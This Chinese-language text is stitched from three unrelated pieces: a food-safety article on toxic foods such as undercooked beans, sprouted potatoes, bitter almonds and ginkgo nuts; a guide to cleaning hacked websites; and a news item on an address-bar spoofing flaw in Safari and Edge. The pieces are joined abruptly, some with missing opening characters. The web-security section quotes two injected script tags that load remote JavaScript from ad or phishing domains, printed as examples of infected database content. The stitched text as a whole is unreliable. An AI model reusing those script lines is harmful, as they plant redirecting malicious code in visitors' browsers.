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多食材營養又好吃，可是處理不好卻很容易中毒，輕則惡心、嘔吐、腹瀉，重則致命。
這篇文章就整理了12種容易中毒的食材，它們為啥會讓人中毒，又如何避免中毒，一起看文章吧。
四季豆的學名是菜豆，它是菜豆作為蔬菜時的稱呼，各地的叫法還有刀豆、架豆、玉豆、豆角、龍牙豆。四季豆的長度約10-15厘米，有的扁扁的，有的圓圓的，如圖。
沒熟透的四季豆中含有植物血凝素、皂素，吃了可導致中毒，出現惡心、嘔吐、胸悶、心慌、出冷汗、手腳發冷、四肢麻木、畏寒等癥狀。
預防措施：烹調時先將四季豆放入開水中燙煮10分鐘以上再炒。
蕓豆也是菜豆，不過它是菜豆作為糧食時的稱呼，也有地方叫它腎豆，可能是因為它長得像腎臟吧。
蕓豆又分為紅蕓豆和白蕓豆兩種，紅蕓豆植物凝血素含量更高，白蕓豆的含量只有它的1/3左右，做不熟也會中毒。
▲圖：紅蕓豆
▲圖：白蕓豆（圖蟲創意）
預防措施：
豆子提前浸泡至少5小時，倒掉水，然后加水中大火至少煮30分鐘，切記小火慢燉可不行。因為這種烹調食物的中心溫度往往只有75℃甚至更低，哪怕燉幾個小時，也不足以破壞植物凝血素。[1]
生大豆中含有的胰蛋白酶抑制劑，進入機體后可以抑制體內胰蛋白酶的正常活性，對胃腸有刺激作用，會出現惡心、嘔吐、腹痛、腹脹和腹瀉等中毒癥狀。
預防措施：煮豆漿時會上涌浮沫，撇干凈后煮沸，再以文火維持煮沸5分鐘左右。
如果你買的是小包裝的豆漿粉，它已經經過高溫滅酶處理，直接用溫水沖泡就能喝；如果你是用豆漿機做豆漿，機器設定的程序也能保證高溫滅酶，只有你自己磨豆煮漿時才需要注意這個問題。
發芽、變綠、受損的土豆，龍葵素含量大幅增加，龍葵素是一種生物堿，十分耐熱，在高達230 ℃～280℃的高溫下才開始分解，煮、炒、微波、煎炸等日常烹調都不能大幅度減少其含量。[2]
攝入過量龍葵素口腔和咽喉會出現抓癢感和灼燒感，也會出現惡心、嘔吐、胃痙攣、上腹疼痛等癥狀，還可出現頭暈、乏力、煩躁、視力模糊、神志不清等癥狀。[3]
預防措施：
1、購買完整無傷的土豆，儲存在陰涼、避光、干燥的地方，因為高溫、光照、潮濕都會促進龍葵堿生成。
但也別放在冰箱，低于8℃的低溫會促進土豆中的淀粉轉化為糖，再烹調時就會增加2A類丙烯酰胺的產生，包括歐洲食品安全局、英國食品標準局、瑞典國家食品署在內多個權威組織都是這樣建議的。[4]
2、生芽較少的土豆，烹調前應徹底挖去芽的芽眼，并將芽眼周圍的皮削掉一部分；皮變綠的土豆烹調前皮多削掉一些，有傷口和瘀痕的部分也要削掉一部分。烹調時還可以加些醋來破壞龍葵堿。[5]
3、烹調后吃著還是有苦味，或者口腔有灼熱感，停止食用。
苦杏仁又叫北杏仁，它含有的氰苷，本身無毒，食用后可以轉化為有毒的氫氰酸，引起惡心、發燒、頭痛、口渴、嗜睡、關節和肌肉疼痛等癥狀，嚴重時可致命。
預防措施：
1、食用前去苦去毒，參考方法：沸水中煮1-2分鐘，撈入冷水中冷卻，去皮，然后用60℃左右的溫水浸泡7天，每天換水1-2次，為了吃個杏仁如此費時費力，少有人會自己去苦去毒吧。[6]
2、直接買已經去苦脫毒的苦杏仁，買回來直接就能涼拌菜比如杏仁菠菜，餐廳里就常有這款菜。
3、最好別直接生吃，如果非要吃，成人每天別超過2粒，兒童則別吃，這是愛爾蘭食品安全局給到消費者的建議。[7]
4、桃、李子、蘋果、櫻桃、楊梅的果仁中也含有少量氰苷，也不建議吃。
5、生的竹筍和木薯也含有氰苷，分別為紫杉氰苷、亞麻苦苷，竹筍要沸水煮3分鐘后再烹調，木薯需要去皮敞開鍋蓋煮熟，少吃。
鮮黃花菜又叫金針菜，它含有的類秋水仙堿，本身無毒，可是吃到體內后，會轉化成劇毒的二秋水仙堿。
成人吃50-100克鮮黃花菜就會引起中毒，出現嗓子發干、胸悶心慌、惡心嘔吐、腹痛腹瀉等癥狀。
預防措施：
1、鮮黃花菜先沸水焯一下，再涼水浸泡2-3小時(中間換1次水)，然后炒熟煮透。
2、曬干后的黃花菜無毒，可安全食用。
常溫下木耳久泡容易滋生椰毒假單胞菌，這種菌可以產生毒素米酵菌酸，這種毒素非常耐熱，120℃下加熱1小時仍可保持毒性，中毒后輕則頭暈、無力、惡心、嘔吐、重則意識不清、煩躁不安、甚至休克死亡。[8]
預防措施：
1、木耳常溫下泡發不超過2小時，尤其是夏天，這是因為26℃是椰毒假單胞菌最適宜產毒的溫度。
2、泡發后不能及時烹調的木耳，密封后冷藏；如果木耳泡發后不成形、發黏發軟甚至有異味，直接扔掉。
3、另外發酵玉米面、糯玉米湯圓粉、玉米淀粉、發酵糯小米、糍粑、醋涼粉長時間發酵也容易滋生椰毒假單胞菌，發酵過程中要注意勤換水、保持衛生，一旦食物有異味就別吃。
▲圖：這是正常的，沒紅芯
甘蔗的果肉出現紅芯，是污染節菱孢霉菌，產生毒素3-硝基丙酸的表現，吃了這樣的甘蔗，可以引起中樞神經系統損害，干擾細胞內酶的代謝，嚴重可導致大腦缺血壞死甚至死亡。
預防措施：
購買甘蔗時：摸一摸，新鮮甘蔗質地硬，看一看，甘蔗果肉是乳白色的，聞一聞，有股清香味，洗一洗，甘蔗皮去之前和去之后都洗一洗。[9]
你可能在飯店吃過蘆筍白果炒蝦仁這道菜，這里面的白果就是銀杏的果實，但是你可別從銀杏樹中直接采摘白果吃。
生的白果中含有的4'- 甲氧基吡哆醇、銀杏酚酸類物質都有毒，中毒后可出現嘔吐、腹瀉、抽搐、煩躁不安、呼吸困難，甚至死亡。[10]
預防措施：
去掉有毒物質含量高的胚，沸水煮至好20分鐘[11]，還可以購買現成的去過毒的白果，不管哪種白果，都要少吃。
亞麻籽也叫胡麻，它富含必需脂肪酸α-亞麻酸，這種脂肪酸還可以在體內轉化為DHA,所以它是一種營養很豐富的種子。
生的亞麻籽和苦杏仁一樣，含有氰苷，生吃可能引起中毒。
預防措施：
炒熟了再吃，因為加熱可降解亞麻籽及制品中生氰糖苷的含量，增加安全性。[12]
今日互動：你還知道哪些食物有毒，分享呀。
參考文獻：
[1]https://www.fda.gov/food/foodborne-pathogens/bad-bug-book-second-edition
[2]https://www.cfs.gov.hk/sc_chi/multimedia/multimedia_pub/multimedia_pub_fsf_112_01.html
[3]https://ask.usda.gov/s/article/Are-green-potatoes-dangerous
[4]https://www.cfs.gov.hk/english/committee/files/TCF_54/54th_TCF_Glycoalkaloids_in_potatoes_e.pdf
[5] https://ask.usda.gov/s/article/Are-green-potatoes-dangerous
[6]朱麗清. 苦杏仁系列蛋白食品加工工藝[J]. 河北果樹,2012(2):32-33.
[7]https://www.fsai.ie/faq/apricot_kernels.html
[8]陳佳. 椰毒假單胞菌中毒機理及其預防措施研究[J]. 現代食品, 2019(13):3.
[9]https://www.samr.gov.cn/spcjs/yjjl/spyj/201904/t20190423_293077.html
[10] 陳開虎. 銀杏果仁脫毒脫苦研究及食品化[D]. 陜西:西安建筑科技大學,2017.
[11] 花彤彤,曹福亮,徐莉,郁萬文,薛源.3種處理方法對銀杏種仁中氫氰酸和4-甲氧基吡哆醇質量分數的影響[J].東北林業大學學報,2018,46(06):38-42.
[12]http://www.nhc.gov.cn/cms-search/xxgk/getManuscriptXxgk.htm?id=60c7771bba9a4fafb9e05687610c7303
#謠零零計劃#
決網站被黑客入侵需要網頁寄存公司的把關
當網頁寄存公司發現 網站中毒 被黑客入侵，有可能傳播病毒時，網頁寄存公司第一時間會隔離你的網站。當訪客訪問你的網站時看到不會是正常網站，而是網頁寄存公司提供的告示板。這對你公司的形象當然不好。這時清理的做法較簡單，你需要清理病毒 (例如刪除或還原所有受感染的檔案，又或者還原網站未受感染的備份版本)，再通知網頁寄存公司已經清理病毒，請寄存公司重新開放網站。
黑客 Hackers 入侵他人網站有不同的理由，例如：
· 有些黑客會入侵網域登記公司的服務器，騎劫閣下的網域，將網域指自某些 e-commerce 網站，利用閣下原有的人流進行銷售或廣告獲利。
· 有些黑客入侵網站為植入群發電郵機制，利用閣下的服務器大量發送推廣電郵，或造成超負荷而影響網站的正常操作，你不一定能察覺得到但網頁寄存公司會偵察到不尋常的電郵流量從而限制電郵流量而影響到你的正常郵件發送。
· 有些黑客入侵網站純粹為了展示實力或報復，入侵后改變網站內容。
· 更多黑客是為了錢，例如傳播盜取密碼的病毒，因此不希望站長發現。
數據庫感染
有些感染會將網站的所有連結騎劫到廣告網站 (如：ads.googleadservices.at, online-sale24.com)，希望通過廣告網站買廣告購錢又或者進行網絡釣魚 Phishing。病毒通過修改每頁的內容，加入 Javascript 自動跳到廣告網站。由于是感染數據庫的內容，可以避過網頁服務器上的防毒掃描。但這些動作基本是難以避過客戶端瀏覽器或防毒軟件的偵側，很快被感染的網站就會被客戶端瀏覽器或防毒軟件隔離，是損人不利己。
要清除些感染唯有將數據庫滙出為 SQL，利用編輯器將被種入的代碼 script 全部代替為空。清理完成后，重新將數據導入數據庫。
<script type=”text/javascript” src=”http://ads.googleadservices.at/counter.js”></script>
<script type=”text/javascript” src=”http://online-sale24.com/1.js”></script>
執行代碼文件感染
有一些感染是在可執行代碼文件中插入代碼。代碼可以是連到廣告網站或者純粹為記錄用戶行為。當感染已經散布到大部份檔案時，你只有通過程行掃描該段感染代碼自動清除。
網站中毒 – 網頁瀏覽器的把關
但很多廉價的網頁寄存公司其實是沒有每天自動掃描偵測網站內可能出現的病毒，又或者他們技術上并不比黑客更好。下一個把關防止病毒傳播的是網頁瀏覽器。瀏覽器希望盡量確保訪客網上瀏覽過程安全。對于一些可能傳播病毒或不安全的網站，瀏覽器會通報閣下現在要訪閣的網站不安全。
如果你的網站不幸被黑客入侵而種下病毒，你應該盡快采取行動。長時間處于所感染狀態對網域權威性有極壞影響，對搜尋排名不利，從被感染網域發出的電郵亦較容易被評為垃圾郵件 Spams。但解決方法就比較復雜。理由是除需要清理病毒外，你要 (通過Google Search Console) 告訴 Google 該網站是干凈的，要求復審。
網站安全徽章
有些網絡安全公司提供每日掃描網站內容服務。如果無發現病毒，會更生徽章顯示給訪客知道網站是安全的。這對 eCommerce 網站的信用有正面幫助。
搜尋引擎由于會定期索引網站內容，所以亦可能會發現病毒。Google 搜尋引擎會通知訪客該網站可能受病毒感染。如果您使用 Google Search Console，Google 會通過 Search Console 通知您，網站受病毒感染。如果你是該網站的站主，為免影響搜尋結果排名，應該立即采取行動。
HTTPS 安全使用
管理網站很多時是要經過瀏覽器登入后臺管理。如果登入時是使用不加密連線。用戶名稱和密碼就有可能暴露在黑客面前，特別是現在公共場所使用 Wifi 連線。所以最好是升級網站使用 HTTPS 加密連線，否則只有在安全環境下才考慮登入管理后臺。
黑客一般是取易不取難，提高安全性，即使只是一點點可以帶來很多的好處。了解更多網站制作內容管理系統。
果你正在使用Safari或Edge瀏覽器的話，需要注意了，目前有安全研究人員發現這兩個瀏覽器存在嚴重漏洞，可讓不法黑客實施地址欄欺騙攻擊（Address Bar Spoofing）。
警惕瀏覽器高危漏洞 Safari、Edge均中招
那么，該漏洞是如何工作的？據悉，攻擊者利用該漏洞可控制地址欄中顯示的內容，在不改變原有合法的URL地址情況下，快速將頁面內的代碼轉換成惡意代碼，從而在普通用戶填寫賬號或密碼時收集用戶隱私，導致網絡釣魚攻擊事件發生。
這是由于Safari或Edge瀏覽器允許JavaScript在網頁完全載入之前更新網址列的內容。而攻擊者正是利用了setInterval函式造成的時間延遲，而載入假網站的內容。
不過，微軟已經在其Edge瀏覽器中修補了該漏洞，但Apple的Safari仍然容易受到攻擊。
蘋果Safari雖然防止用戶在網頁載入狀態下在輸入格中鍵入信息，但如果研究人員通過屏幕鍵盤輸入的話，則可成功繞過這個機制。雖然在6月初蘋果已獲得警告，但截至8月31日仍未推出有效的更新補丁。
預計要修補該漏洞，要等到下一次Safari安全更新之時了，但這顯然會讓Safari用戶有遭受釣魚攻擊的風險。
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